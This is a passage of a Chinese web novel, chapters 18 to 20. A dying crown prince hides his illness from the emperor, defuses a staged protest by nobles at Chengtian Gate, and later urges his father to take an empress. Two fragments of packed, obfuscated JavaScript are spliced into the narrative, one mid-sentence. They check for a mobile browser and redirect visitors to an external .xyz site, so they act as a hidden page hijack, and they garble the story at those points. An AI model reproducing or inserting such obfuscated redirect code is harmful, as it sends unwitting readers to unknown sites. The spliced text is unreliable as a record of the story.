在萧玠的最后筹码押上不久后,太医缓缓撩袍跪地,萧玠在他的叩首声里听到天平彻底倾斜的声音。这是他第一次用威势压人,他别无选择。 片刻后,太医俯首叩道:“臣谨遵令旨。” 萧玠道:“太医请起吧,还要劳烦您给我开些维持精气神的药。这件事,不能叫人知道的那么早。” 周旋一日,萧玠已然没了力气,便叫阿子送太医出去。待阿子折返,萧玠新点了蜡烛伏案书写。手边已搬过脸盆架,架上搁一块打湿的手帕。他略写几行,便要取帕子揾面。 阿子瞧见信封,心中一阵酸楚,劝道:“殿下缓缓再写吧。” 萧玠把帕子握在左手,道:“我现在手上还有力气,写字不抖。再过几日,估计身体就不成了。陛下敏锐,说不定从字迹上瞧出痕迹,那这些力气就白费了。” 阿子忍不住道:“殿下,知子莫若父,就凭这些信,您真觉得能瞒住陛下吗?” 萧玠道:“多瞒一日是一日吧。” 他写完一封,要取新纸,便要下榻。阿子赶忙跑到书案上取了一叠新纸笺来。 萧玠静静看他忙活,开口讲:“和老师说完话,我其实有些明白他们为什么要揪住我不放。” “世族一开始弹劾我,是在陛下查处贪贿之时,后来形势最烈,就是在陛下要出京巡视的时候。他们是要用我把陛下拦在京城。阿子,他们知道陛下有多在乎我,却不惧天子一怒,几次三番朝我发难,我不敢想象,他们在地方到底做出多么穷凶极恶的事。这时候我如果告诉陛下,我活不长了,陛下就会因为我留在长安,那些事就很难彻查,他们就真正得逞了。不能因为我一人的生死就枉顾数万百姓的生死。” 萧玠提笔在手,眼睛瞧着烛火,“老师说,在其职当谋其政。我是个没用的太子,叫他们白白供养了十多年,现在,算是我为他们做的第一件,也是最后一件事。” 阿子扭过脸,鼻翼轻轻抽动,依旧不讲话。 萧玠放下笔,将阿子拉到身前,温声道:“阿子,如果陛下只是阿爹,我不会瞒他。我会告诉他,我没有那么怨怼他,我好爱他,我想最后一段时间有他陪着。可是阿子,不成,他是陛下,他身体受不了这种打击了。白发人送黑发人啊。” 萧玠笑了笑:“我和他闹,陛下会难过,但他最大的意志是我好好的。只要我好好的,他为了我也会撑着。八年了,不一直是这样吗?” 最后,萧玠轻轻一叹,他握紧面前这个一直照顾自己的男孩子的手,低声道:“这是我最后的一点心愿。阿子,我求你了,好吗?” 阿子带着哽咽,点头应了一声。 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从秋童口中,萧玠隐约得知,夏秋声在暮春突然当廷上奏,指认姨表弟王云竹参与官银贪墨一事,并由此牵涉出京都地方上下勾结的一桩贪贿大案。留守在京的杨峥直接以此开刀,作为刨除世家根瘤的第一战。 萧玠立马想到,只怕河阳郡夫人那支点翠钗的干系是落在这位外甥身上。他依稀也记得,夏雁浦当年外放州郡,夫人柳氏陪同,夏秋声年幼,便被柳夫人托付在京中亲妹家里。这位姨母对夏秋声有养育之恩,儿子更是和夏秋声情同手足。 夏秋声这次和天子站在同一战线,无疑是在世族和家庭中间刻下裂痕。他是为了公义,但他更为的是谁,萧玠心知肚明。 收了消息,萧玠一言不发,重新在榻上躺下。不过一刻,额头便一层冷汗。阿子打湿手巾替他拭面,巾帕落入水中,搅碎一盆浓碧,等那张帕子再被拾起,水底沉的夏景已黄,拿帕子的手腕所披也从薄衫换成秋衣。那张帕子擦拭的颧骨逐渐凸起,脸颊上的血色也一寸一寸减退下去。 为了强健他的精神,阿子日日都会捡些时事说给他听。哪位大臣又同杨相公吵架啦,谁家里又搜出赃款啦,渐渐地,话题转换到教坊新演的曲子是琵琶还是琴鼓,以及陛下的信件。是的,萧恒每月必有两封书信送来,多与他讲些地方风物,信中也夹送些小玩意,明显是地方的特色,有一次还有两颗晶莹剔透的石子,明显经过打磨。萧玠将它串成链子戴在颈上。萧恒溢出来的牵挂,就是那点冰冰凉凉的重量。 这时候,萧玠就要撑起来给他写信。怕被萧恒看出字迹变化,一封信就要写废好多次。萧玠收到最近一封信已至立秋,萧恒写道,会赶回家陪他过仲秋。 这个阖家团圆的日子,这个天子曾满宫明灯的日子。 一个人的生日。 萧玠先是欣慰,又察觉一丝异样。 这才外出半年,萧恒应当没有巡幸完毕。但他不是因私废公之人,绝不会为了陪萧玠过个仲秋就这么跑回来。现在回銮,可能是地方案有了全新进展,甚至有指控京官的直接证据。 萧玠多少还是惴惴,不知夏秋声会不会被这场风波再度卷入其中。但同时,也有些期待。 见一面吧,再见一面,这样启程离开,也能了无遗憾。 萧恒回京的消息已至,行宫上下也整肃起来。众所周知,皇帝回京的第一处一定是太子所在。 萧玠也早吃了一副提神的汤药,梳洗整齐,等待萧恒到来。 迎接皇帝的鼓吹声自清晨便响起,但至下午,皇帝依旧没有踏足。 萧玠精神不济,伏案小憩一会。一见他醒,阿子便奉上一只匣子,神色有些奇怪,“嘉国公世子刚刚来过一趟,送来一份节礼,请殿下亲启。” 他兀自嘟哝:“殿下吩咐过,仲秋节礼一应送去东宫,偏嘉国公府另有讲究。碍着前朝上柱国的威名,陛下对他们虞氏一直颇为礼待,却连殿下的话都听不到耳朵里……” 萧玠已打开匣子,见内里无物,只有一张字条。 他展开来瞧,见只有四个字: 速至承天。 萧玠浑身一紧,忙对阿子道:“世子在哪里,请他进来!” “世子放下东西便走了,走了有一会了。”阿子忙道,“奴婢这就截他回来!” 阿子扶萧玠坐下,当即出门叫人,却被一个冲进门内的身影一撞。 竟是秋童满头大汗地跑进来。 萧玠一颗心都提到嗓子眼里,忙拉住秋童,“承天门出了什么事?陛下呢,怎么不见陛下?” 秋童上气不接下气:“陛下……陛下召集禁军封锁承天门,眼看就要大动干戈了!” 萧玠脑中一响,“什么干戈,为什么动干戈?是贪墨案主犯揪出来了吗,要明正典刑吗?夏相公呢,夏相公如何?” “不是贪墨案!”秋童急声道,“陛下御马刚到承天门,那群接驾的大臣跟商量好似的,堵在门前请陛下册立皇后,说殿下失于教养,是无母之过。而天下无母,则乱象将生……殿下您赶快去吧,再晚点只怕要血流成河了!” 18. 第 18 章 世族有把柄捏在萧恒手中,如今又拿萧玠要挟,看似是逼萧恒退步,但萧玠心知,恰恰相反。 他们要激萧恒动手。 萧恒虽会为萧玠退让,但绝不会退让至底线之后。 天子脾气如何,这群久立朝堂的老狐狸岂能不心知肚明? 萧玠抓紧秋童手腕,“承天门……百姓有没有围聚?有没有清道?” 秋童道:“咱们陛下出行,哪里有清道的规矩?承天门前人山人海,万一真要动武……” 皇帝后宫空置,更是多年无立皇后,膝下只有一个体弱多病的儿子。国本摇摇欲坠,民间未必没有非议。对着百姓,世家大义凛然地喊出“请为天下立母后”,再有几个臣子冲锋,来一个撞柱自尽,作一副忠烈之态,便彻底把萧恒架在火上。 萧玠急道:“老师呢?老师不在当场?” 秋童道:“压根不见夏相公身影!” 萧玠深吸口气。 唯一能两厢安抚的夏秋声偏偏不在,世族是早有预谋。 萧玠知道,这件事是父亲的逆鳞,他绝不会就此妥协。 众目睽睽下,他要么被逼,要么杀人。一旦激起群情…… 萧玠立即叫道:“备辇,去承天门!” *** 承天门前,围者如堵。 禁卫披甲执剑,将宫道和人群彻底分隔。而本该直达宫门的道路上,跪满身穿官服的世族高官。混乱之中,慷慨陈词声响彻云霄,远远便能听到:“国家无母,其将不治!望陛下以生民为念册立皇后!” 仪仗前,皇帝穿着常服,不为所动:“诸卿于国无用,先发制人学得很好啊!上下贪墨的大案,你们真当能只手遮天?左右,将众大夫持回家去,听候发落!” 一个世家子当即叫道:“臣乃京城薛氏五郎薛丞霄,任国子监主簿职。臣敢拿阖族性命担保,薛氏上下无人敢行贪贿之事。臣等请望母后,何罪之有?只因触动陛下逆鳞,便要受君父冤屈,以贪墨重罪发落枉死吗!” 他当即揭下冠冕抱在怀中,很有慷慨就义之风:“列为同僚,各位乡亲!若能劝得陛下回心转意,臣等愿以死相谏!陛下如今只有一子,太子却因女乐私隐之事请囚行宫,不仅私德有亏,更是难担大任!臣等请问,如太子不堪扶,社稷则何如?陛下是要大梁绝嗣再入乱世,还是要将生民送入一个德行不修的储君之手!臣等泣血之言,陛下却因私欲枉法打压,岂是明君之兆,更是亡国之风!” 此言一出,四下又是惊骇又是喧嚷。他如今之举,就算萧恒以贪贿案发落他,他也能一口咬死萧恒是打击报复。 更何况,知情者都清楚,这只是世家撺掇起来的一个愣头青。 从当前调查看,薛氏的确不在贪墨名单上,至少目前没有证据,反而在一众世家中颇有善名。 但他清白,不代表他不愿为世家冲锋。 正因他清白,以萧恒的性格,不会枉法处置他。但也决计不会放纵他。 这种境况下,萧恒很可能前所未有地以犯上的罪名发落他。 这样一来,在民众之前,一个威武不能屈的直臣形象便能树立。一个人的身躯,可以成为世族向皇帝冲锋的重盾。 更何况,请求立后这件事,本身就是对皇帝最猛烈的一次进攻。 薛丞霄被禁卫按在地上,犹自不肯低头,冲萧恒连连叩首:“望陛下立国母,慰民情。臣忠孝已尽,虽触怒龙颜,愿请一死!” 他话音未落,两口一合,竟要咬舌自尽! 禁卫比他更快,当即捏住他下颏免其得逞。 萧恒尚未作色,已听人群外响起一道虚弱的声音:“我却不知如今情形,有人敢对天自称忠孝。” 萧恒神色骤变,立即掉头,见百姓纷纷后退,禁卫队伍也向两侧开列。 路尽头,一顶四抬辇轿落地。萧玠由阿子搀扶,却辇走来。 萧恒上前扶住他,只觉瘦得吓人,低声道:“阿玠,你先回去。” 萧玠却向萧恒行礼,“臣想问他几句话。” 萧恒沉默片刻,挥了挥手。 薛丞霄由禁卫架起来。萧玠走到他面前,听内侍提醒其官职姓名,便问:“我听薛主簿自称忠孝,请问薛主簿,你忠在哪里,孝在何处?” 薛丞霄声音铿锵有力:“陛下身为君父,臣等极尽奉劝之责,以正其过,是为孝。忠言逆耳,陛下不听,臣等只得身殉社稷,以忠于行。” 萧玠颔首,“国子监主簿,是个学识的。那我请问,舜王孝是不孝?” 薛丞霄厉声道:“殿下岂能以圣人作轻薄玩笑语?舜王大圣明德,自是至孝!” 萧玠沉声道:“既如此,诸卿不闻小受大走之故?” 话一出,官员们当即一震,陈词叫喊声就此中断。 萧玠面向百姓,解释道:“舜王侍奉其父,但凡是小惩,均一身承受。但父亲要重责,舜王便自行逃走。这是使其父不犯不父之罪,所以舜才不失烝烝之孝。” 他掉首看向众臣,缓了口气,徐徐道:“而众卿事父,委身以待暴怒,殪而不避,既身死而陷父于不义,不孝之罪何如弥天!还有你,薛主簿。” “汝非天子之民?杀天子之民,其罪奚若?”* 薛丞霄浑身战栗,俯首于地,叫道:“臣等纯然忠心,绝无此意!” 萧玠咳嗽几声,只觉力气几近透支,缓了一会方道:“诸卿绝无此意……就能声势浩大地把陛下架成昏君,当着百姓的面,好叫他骑虎难下地答应你们所有条件。所谓……寡助之至天下畔之,咱们大梁国的栋梁全都以死相抗了,他还不是开国以来最大的昏君吗?他妥协了,诸卿得了逞,还挣了流芳百世的好名声,好算盘呀。” 说到这里,萧玠声音微微发抖,“我恳求诸卿……就算各位心中无君,难道全都家中无父?倘若家中有父,你们又何忍这样逼迫别人的父亲?” 四下阒寂,无人能发一语。 萧玠苦笑一声:“我是陛下的臣子,更是陛下的儿子,护卫君父是我的天职。诸卿对子逼父如此,那我只能……以死谢罪了。” 他突然转身,拔出萧恒腰间的环首刀。 人群爆发一阵惊叫喧哗,禁军在大骇之下还没来得及动作,一只手已如疾电,在萧玠拔刀横颈边的瞬间夺住刀锋。 世族作死谏之势来逼迫萧恒,萧玠便揭破他们的忠孝非孝,要做第一个因捍卫天子被众臣逼死的太子。 棋高一招。 环首刀被萧恒掼到地上的一瞬,面对群臣逼迫仍沉稳有度的萧恒,居然显现出震怒之色。还不等他开口责骂,萧玠已经身子一软扑倒在他面前,捧住他那只手,双肩不住颤抖。 萧恒哪里能骂他,连忙将他抱起来,只觉萧玠脱力般浑身颤抖,还是觉得瘦。 好久,萧玠揾了把脸,在萧恒怀里小声道:“阿爹,今儿是他的生日,我们回家,好不好?” 他看着萧恒,他很久没见到萧恒了。从春到秋,整整三个季节。也不过三个季节而已。但对萧玠来说,何其奢侈。 萧恒点点头,丢开流血的右手,用左手握住萧玠,对禁卫道:“清道。” 百姓们并不在这个命令的范围里。他们眼看地上穿着各色官服的重臣股肱被禁卫架起,两人一送地送回家去。此时已值黄昏,皇帝将太子抱上马背,自己也翻身上马。白马轻鸣一声,走向夕阳打开的宫门。 萧玠靠在萧恒怀里,感觉冷汗已将后心湿透,强打精神道:“阿爹,我没瞧见老师,老师呢?” 萧恒道:“禁卫已经探问过,他家的裁冰今早突发高热,夏公梧在家看顾。” 萧玠心中一紧,“这时候?这么巧?是不是他们……” 萧恒没有答话,这其实就是一种答案。 萧玠仰头喘气:“裁冰这么小的孩子……他们下得去手!还有,我今天收到一张字条……” “这些事往后我一五一十讲给你听。”萧恒道,“先回家。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566361|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧玠不再说话。 他靠在萧恒怀中,总觉得像躺在一只摇篮,昏昏欲睡。等萧恒将他抱下马背,他才发觉已经到了甘露殿前。 他这样虚弱的情态到底引起萧恒怀疑。萧恒摸他的额头,又要探他的脉,萧玠忙抽过手,只作撒娇,笑道:“痒。” 见秋童闻声出来,萧玠忙道:“秋翁,先煮些热馎饦,越烂越好。陛下奔波劳碌,只怕还没吃饭。” 厨房一直有备好的面点,很快便出锅端过来。萧玠见萧恒绑好右手,拿左手持勺,便道:“我喂阿爹吧。” 萧恒摸摸他脑袋:“爹使过一段时间的左手,你吃。” 萧玠应道:“哎。” 他这才端自己的碗。萧恒不仅左手能持勺,更能使筷,将自己碗里的肉丝挑给他。萧玠笑道:“阿爹再给我,旁的就吃不下了。” 萧恒看着他,道:“今年是阿爹不好,出去这样久,没给你做月饼。” 萧玠故作调皮,笑道:“今年我给阿爹做,好不好?” 萧恒也笑:“你会吗?” 萧玠边讲边起身,“每年阿爹做,我看都看会了。厨房应当有备的酥油,还有果子馅。我留些肚子,阿爹先吃着,我去和面。灯笼我在行宫就做好了,等做了月饼,我们一块放。” 萧恒道:“你坐下,我弄去。” 萧玠便道:“我想做,依我一次好不好?阿爹还是吃青红丝吗?” 萧恒以为他有些兴致,便没有拗他:“阿爹都吃。” 萧玠应一声,自己往后头庖厨去。萧恒盯着他背影,直到消失在门外也没有收回目光。 萧玠又瘦了,瘦得太厉害。而且有哪里不对劲。 他不说,萧恒也没有贸然问,将那碗面片汤吃完,便去检看萧玠从行宫带回来的东西。去时多少回时多少,基本没有增减。他瞧见萧玠新做的那只灯笼,是明纸糊的普通款式,细竹篾编的骨架,一根有些褐色斑痕,萧恒知道他做灯刺破了手。 他又翻到灯底,找到结的绶带,静静看了一会,把灯放了回去。 萧玠回来时夜色已上,瞧见那只灯笼变了位置,便知萧恒已经瞧过,坦然道:“我知道段氏夫人生了一个小孩,但我还是害怕。” 萧恒点点头,“阿玠是个孝顺孩子。” 萧玠笑一笑,“那我去放灯,放完灯,咱们吃月饼。” 他每年仲秋都要放灯为秦灼祈福,这是头一次不避着萧恒。萧恒也不插手,看萧玠更易一身大红衣衫出来,摆设香案香炉,对月跪倒,取一小刀,割血在碗里。 接着,萧玠双手合十,诵灯绶所写:“臣玠谨拜大慈悲无量光明王。遥祝父氏秦宗体健寿康,乐享天伦,子孙满堂。” 他起身拿起灯笼,双手捏住底部竹篾,萧恒走上前,擦亮火折将蜡点燃。夜风鼓入灯底,灯笼明亮起来时饱胀起来。萧玠松开手,灯笼乘风上空,离他越来越远。 对不起,我做不到的事,我父亲做不到的事,希望你不要再遭受。我们亏欠你的已经够多了。希望你的妻子,你新的孩子能够帮你做到。 阿耶啊。 如果你还思念,我还能希望着绝望。要是不念着了,那就和你的妻儿,好好、好好地过下去吧。 萧玠闭目祝祷时,突然听闻砰地一声。 天边绽开烟火,大团大簇,缤纷五彩,蟹爪菊连着凤凰芝,又整齐地并蒂莲般谢落在天。彩色光影下,萧恒渐生皱纹的脸鲜活起来,萧玠唇白如纸,落了一点斑斓的血。 萧玠扭头看父亲,静静说:“寄望神明,阿爹,是我辜负了你的教诲。” 萧恒说:“傻孩子。” 甘露殿夜间总明一盏灯,独仲秋和上元,难得灯火通明。萧玠挎着萧恒手臂走进内殿,一抬头,便瞧见衣架上并挂的那件诸侯衮衣。 萧玠盯着看了一会,眨了眨眼,又眨一下。待扶萧恒坐下,他捧衣跪倒,终于道:“陛下。” “臣可以有一个母亲。” 19. 第 19 章 萧恒没有出声,甚至没有表情。但萧玠瞧见他的手指像被蛰了一下。 俗云十指连心。 久久,萧恒才叹出气:“你这个孩子。” 萧玠仰脸看他,“陛下,覆水难收,臣的确怨恨过你的倾盆之举,但臣不能看你道渴而死。” 萧恒道:“不至于此。”又柔声道:“阿玠,你放心,他们声势再大,也逼不了我做不想做的事。” 萧玠问:“如果有下次,你要怎么办,把他们统统下狱、统统杀掉吗?我们都知道,不可能的。三人成虎,他们这么反对你,要么把你逼得退让,要么把你逼成昏君。” 萧恒道:“爹能处理,你不要怕。” 萧玠沉默一会,慢慢从地上爬起来,从萧恒脚边坐下,将后背靠在萧恒膝盖上,轻声道:“我不怕,但我觉得不太好了。阿爹,我春天发了次热,症候再也没减轻过。要不是今天出门,我已经半个月没下过床了。只是太医叫我拿住身家,不敢上报。这件事,也应当由我自己和你讲。” 他从怀中取出一块帕子递给萧恒,萧恒打开一看,浑身剧烈颤抖起来。 他呼吸粗重着捉过萧玠的手腕,萧玠没有躲闪,由他给自己把脉。 萧玠从没在父亲脸上见过这种神情。 他一时有些愣然,萧恒已经猛地起身,快步向殿外冲去,边喊道:“太医,所有太医都找来,快,快!!” 萧玠忙从地上爬起来,扑到他面前紧紧抱住他。 这一下子像抽干萧恒全部气力,他双臂瘫软,慢慢打着战收拢,抱住萧玠像抱小时候那么点的一个襁褓。 而萧玠也动弹不得了。 如果萧玠能活到四十岁,那还有很长的时间来恨他;如果能活到二十,还有四年的时间来原谅他。但他活不过今年了。 那现在,这段很短很短的时间里,萧玠满心满怀只剩下,对他的爱。 萧玠喃喃道:“你立后吧。你不立后,我死不瞑目。” 萧恒不讲话,脸贴着他颈窝。许久,才抬手擦干他的脸,捧住他脸颊叫道:“萧玠。” “你爹还活着,要死,轮不到你。” *** 当日,太子正式驾归东宫。夜间,天子复发旧疾,诏谕天下,四海求医。 萧玠卧在榻上听阿子复述消息,不由苦笑。他又想起太医署轮番诊脉后,萧恒那双逐渐灰暗的眼睛。如今,他怕萧玠重病的消息传出去,直接说是自己生病。 阿子见萧玠直着眼睛望帐顶,劝道:“殿下,太医嘱咐,不叫多思的。” 萧玠却恍若未闻:“陛下什么时候再启程?” 阿子疑惑:“陛下回来了,再启程干什么呀?” 萧玠道:“圣驾才亲巡了几个地方,估计是为了惩处一批人才回来。但打击贪贿才开了个头,更得乘胜追击,继续查下去。” 阿子道:“但奴婢听陛下的意思,这段时间不再亲巡了。” 萧玠不可置信,“不亲巡,各地贪墨之风盛行如此,陛下不查了吗?杨相公也答应吗?” 阿子道:“陛下不再亲巡,但钦点了杨相公为御史,携陛下的御刀和仪仗去。奴婢听人嚼舌头,说这件事是陛下亲自去杨府求的杨相公。” 萧玠脸伏在枕上,半天没有动静。阿子看着被他抓出皱纹的枕面和他手背上的青色血管,心中酸涩。 杨峥回京述职途中便受人刺杀,可见地方无法无天到什么地步。萧恒打定亲巡,就是怕钦差出事。 但如今萧玠病重,他别无选择。 杨峥做这个御史,说是九死一生也不为过。 萧玠终于捺不住,低低咳嗽起来,断断续续道:“我是一个死人了,阿爹他……怎能因为我负累杨相公?他若为奸人所害,我岂不成了国之罪人?” 阿子不知道怎么讲,只能捧住他的手。 萧玠紧紧握住他,平复一会气息,靠在枕上道:“阿子,我很害怕。” “其实那天我看在眼里……阿爹未必不会杀掉那些大臣。他这么公私分明的人,每次都是为了我,要做昏君。” 阿子泣道:“殿下,你是陛下亲生的儿子。你病成这样,天底下哪个老子能丢开手这么出去?” 萧玠摇摇头,“一个我,一个不肯立后,已经叫世家握住他的根本。他们动动嘴皮,就让陛下不管不顾……陛下是个倔脾气,我不敢想世家如果再拿这两桩事得寸进尺,他会做出什么事……我死之前,得帮他把这件事解决掉。” 他笑了笑,更显得脸上没有血色,“你也看得出来,陛下这条命是由我来吊着,但我是不成了。我得给他找个续命的。不然,我合不上眼的。” 阿子心中一酸,已听萧玠道:“你请太医来,帮我吊吊精神。还有一个月就是冬至,到时候百官朝贺,我得去一趟。还有,那张字条你交给陛下,让他看看是谁的字迹,对方说不定有内情禀报……” 冬至日,天子开含元殿,照例宴请群臣,起码君臣对峙的锋芒被觥筹交错粉饰,也被年味儿冲淡了。也就是这一日,群臣见到了盛装的皇太子。 随着大内官秋童一道呼声,皇太子的履声响起,赤舄踏在地毯上,同时传来环佩轻鸣的声音。所有人随之下拜,同声呼道:“皇太子殿下千岁。” 他们此时还不知道,千岁的祝福对太子秋蝉般的生命来说是何等讽刺。 他们只听到太子道:“众卿请起。” 殿内灯火已燃,皇太子浑身如溢华彩,面容隐于旒珠之下,气色也叫人难以觉察。抢在太子行礼之前,大内官已经奉皇帝旨意扶住他,道:“陛下请殿下入座,咱们这就开宴。” 一席宾主尽欢,似乎相睦如初。皇帝不叫给太子置酒,另叫他吃一种甜浆,太子自然依从。酒过三巡,太子便问:“听说曾经有冬至联诗的前例,从前却没见过。” 一时没人敢接话,只觑皇帝神色。 冬至联诗是李寒在朝时开的例子。李寒到底是文人出身,有些才情,世族子弟多工于辞赋,在当年也是热络新旧两派的手段之一。只是李寒死后,萧恒便把这旧习弃置不论。 个中因由,以太子之聪慧,何以不察? 沉默并没有持续多久,不一会,皇帝便含笑道:“有些年没玩过,你问问诸卿,愿不愿意陪你?” 夏秋声自然头一个应肯:“臣等自无二话,只是不知要作什么题目?” 皇帝道:“不拘什么,只要吉利些,都好。” 杨峥笑道:“那就不如抽签。陛下写几个词来,我们抽着哪个便作哪个,这才有些乐子。” 皇帝写了几个签筹,大内官便请群臣来抽。大伙一看,均是去病、避灾、百岁、康健之语,作诗更是花团锦簇起来。轮到太子,皇帝投去目光,温声问:“阿玠,你呢?” 太子展签一看,笑道:“臣是‘长生’。” 天子的声音有些异样:“好,是好兆头。” 太子笑道:“臣才疏学浅,如今班门弄斧,诸公见笑。” 杨峥道:“殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寒添毳衣饥添食,谨杯浅酒慎龙骢。 但恨作此薄命儿,蜉蝣夜死被露红。 春晖未报魂不灭,世世牛马候家翁。” 奉皇十五年,冬至宫宴,太子萧玠越过天子,公然宣布自己命不久矣的消息。皇帝唯一的继承人即将早折,这对大梁来说,是一场足以翻天覆地的大震动。 萧恒自欺欺人地抗拒噩耗,萧玠只能用自己的方式作出逼迫。 他是一个狠心的臣子。 也是一个苦心的儿子。 …… 我不羡慕长生的人,我只羡慕薄命的人。 活得越长团圆越短,薄命之人就不用苦苦相求同生共死了。这正如月宫仙药,得以疗愈生离死别之苦。 歌哭声外云霄之后,我身在青天,而你在我眼中。 我的眼泪化作北地的雨,我的叹息化作南地的风。您如果思念我何必要哭我的坟墓,风雨来了,就是我来见您了。 我没有什么遗憾,只难过您自己形单影只、为我消瘦,而我即将离世,不能侍奉您终老。 父亲啊,父亲啊。您要像大椿一样既荣茂又长寿,哪怕我已是霜打兰花,风中飞蓬。 您以后冷了添衣饿了添饭,少喝酒,骑马也要谨慎。 我只恨我是薄命之人,像蜉蝣一样死去,只有带朝阳的露水埋葬我。 没有报答您的恩情前,我的魂魄永远不会消灭,生生世世我都为您当牛做马,我会在来世等待您啊。 …… 久久沉默里,萧玠自己饮掉那盏浆水,捧衣出席。他跪倒萧恒面前,一字一句道: “臣萧玠,伏请陛下册立皇后。” 20. 第 20 章 冬至日后,太子重病的消息天下皆知,请立皇后以继新嗣的声音也越来越大。人言纷纭里,萧玠终于病倒。迷迷糊糊察觉有一双手给他换帕子擦身,将他抱在怀中,拿勺一点一点喂药,像喂一个不足月的婴儿。 阿爹并没有因为这事厌恶自己。 萧玠没了牵挂,心中一松,更是病榻缠绵起来。白日有些清醒的时辰,便闻见满屋药气,似乎一轮一轮的人给自己把脉掀眼皮,然后避到帘子后,操着不同的口音向天子汇报病情。 帘外摆着把太师椅,萧恒不是守在榻边,就是坐在那里。 他不上朝吗? 萧玠只动了动念头,下一刻,又陷入混沌之中。 无数方子用下去,萧玠的病情依旧时好时坏。坏时两日睁不开一次眼,好时便能有半日清醒的时间,甚至还能起来吃药用饭,和人交谈几句。 但无可避免,病榻上的皇太子迅速消瘦下去,象征生命力的血色从他的双颊和嘴唇上消退得毫无踪迹。这叫赶来贴身照料他的阿双恐惧万分。 许多年前,她在另一个人身上看到过这种迹象,在萧玠出生前后,那人收到来信,经历了萧恒之死的打击。 萧玠醒时见到她对自己笑,抬手给她擦拭眼泪,问:“姑姑,过年了吗?” 阿双道:“快了,快了。” 萧玠点点头,吃过药,说一会话,又睡过去。不知过了多久,朦朦胧胧间,他看到有人守在榻边,见到他睁眼浑身猝然一动。不是阿双也不是萧恒。 萧玠看着他的脸,想笑,许久,才讲出一句:“你回来啦。” 郑绥尚未解甲,半跪在他榻前,紧紧握住他伸出的手,声音也嘶哑:“我回来了殿下,我回来了。” 萧玠静静注视他片刻,见他嘴唇干得起皮,脸上沙尘还未擦洗,便想到是得知消息,一路疾驰而归。 萧玠笑道:“还没见过你在军营是什么样子,小时候你练兵,叫我去,但我总在生病。本想今年求陛下的旨意,准我去崤关犒军……没想到,还是累你回来一趟。” 郑绥柔声道:“你好起来,我带你去军营。我叫你看我练兵,好不好?” 萧玠道:“我给你写过信,好多信,你……你为什么一封也不回呀?” 郑绥眼泪涌出来,“是我不好,我刚拿到。我回去就看,我每封都回给你。” 他低低叫一声:“阿玠。” 萧玠浑身一震,声音有些颤抖,“你很久不这样叫我了。去年起,你就不叫了。” 郑绥微微垂首,“我……到底君臣有分。” 萧玠问:“你如今,又不管君臣之分了吗?” 郑绥的神色很古怪,萧玠说不上来,但不忍心瞧他这样挣扎的表情。 一别数月,郑绥个头又长了。他明明比萧玠要小,但瞧身形骨架,竟很有十六七岁少年郎的架势,类似郑素的骨相也格外分明起来。 他长大了。 萧玠看着他执自己的手,轻轻道:“我听说,是崔氏的女儿,你们有族亲。” 他冲郑绥笑笑,“很好,很好……只可惜,瞧不见你娶妻……生子了。” “我不娶妻。”郑绥说,“你好起来,我不娶妻。” 萧玠没想明白二者之间有什么联系,正要讲话,郑绥便道:“你该吃药了。” 他这才松开手,往帘后药炉旁走去。 他从前做太子伴读,曾陪萧玠在东宫住过一年,对一切都轻车熟路。郑绥身影投在竹帘上,被放大,被织成密密的线条。萧玠看他从橱里取药盏,一只青瓷莲花纹的斗笠盏,明眼人都看得出这是南秦官窑的东西。 郑绥倒一盏药,自己先尝一口,端到萧玠案头,又去桌边匣子里找出一只瓷瓶,正在手中掂量,便听萧玠道:“先不吃了,就剩这一点了。” 郑绥仍把那只瓶子拿过来,“吃完了我再熬。” 他顿了顿,将自己甲胄解掉,露出萧玠眼熟的一件半新青衣。这才从榻边坐下,将萧玠揽起来喂他吃药。 郑绥穿得很薄,薄得萧玠能感受到他的心跳。但郑绥的胸口又很热,热得萧玠差点以为自己这具逐渐冷却的身体有了回暖的假象。 一碗药即将见底,萧玠靠在他肩膀上,轻轻道:“绥郎,我想求你件事。” 郑绥低头看他。 “以后……劳烦你多进宫陪陪陛下,求你看在咱们这些年的情谊,替我好好照顾他。我实在没什么能拜托的人,我就把他托付给你了。不要把他当陛下,把他当成你的叔伯,甚至是……父亲。”萧玠一口气说这么多,体力有些不支,匀了会气才道,“你的大恩大德,我下辈子……也要报答的……” 郑绥打断,“你别说话。” 但他怎么能拦住萧玠呢? 萧玠捧住药碗,嘱咐道:“一会天要晚了,坐我的轿子回去。跑了一路……太伤腿脚,你年纪虽小,也要注意的。” 郑缚道:“我和姨母一道来的。我来这边,她去拜见陛下。你不要劳神,少说话。” 许是炭烧得热,萧玠竟觉身上生了些暖气。郑绥将他吃空的药盏搁在一边,又这样揽了他一会,问:“要躺下吗?” 萧玠轻声说:“你……再叫我靠一会吧。” *** 萧恒看向立在殿中的杨观音。 杨观音穿一领素色衫子,一支玉簪挽发髻,很有些山中居士的沉静。萧恒看着她,像看到一场大风暴里共同生还的幸存者。这场时局的灾难让她成为一只丧偶的天鹅,把他变作一只失伴的鸳鸯。独身男女好配结,但二鸟分属有别,性各贞烈。 许久,萧恒方道:“我知道杨娘子的来意。我很感谢娘子,但我没有那个心思。” 杨观音道:“但陛下应当明白殿下的心思。殿下宣布自己的病情,就是要世人知道陛下即将绝嗣。大梁要有继承,陛下要生新子,就必须选立后宫。这样一来,殿下的目的也就达到——朝臣以后再也不能拿立后和殿下两件事,来拿捏陛下、阻拦新法了。” 萧恒道:“我不立后,不只是为了阿玠。” 杨观音看着他,“但殿下是很重要的原因。” 萧恒不语。 杨观音又道:“家兄即将领命启程,他如今已被世族视为叛逆,此行更是视死如归。要他活,除非他成为与皇家、与陛下血脉相关之人。如果陛下要立一个杨皇后,所生亦为杨太子,那家兄便是一国之舅,没有人敢对大梁未来天子的母舅下手。陛下,时局如此,孰轻孰重。” 萧恒道:“我知道,娘子是为玉清守志之人。我不能做这种事。” 杨观音笑道:“难道陛下真打算同妾行周公之礼吗?” 